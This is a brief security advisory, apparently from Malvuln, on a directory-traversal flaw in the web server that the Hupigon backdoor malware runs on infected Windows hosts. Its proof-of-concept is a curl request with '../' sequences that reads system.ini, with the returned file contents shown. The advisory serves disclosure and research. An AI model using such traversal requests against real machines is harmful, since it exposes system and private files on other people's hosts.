Backdoor.Win32.Hupigon.aejq / Directory Traversal

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/2a366cea300b84b4e6f8204a8c229266_C.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.aejq
Vulnerability: Directory Traversal
Description: The malware deploys a Web server listening on TCP port 80. Third-party attackers who can reach an infected host can read any file on the system using "../" path traversal characters to break out of the web root dir.
Type: PE32
MD5: 2a366cea300b84b4e6f8204a8c229266
Vuln ID: MVID-2021-0331
Disclosure: 08/30/2021

Exploit/PoC:
Read any file on the system)

curl http://x.x.x.x/../../../../Windows/system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]


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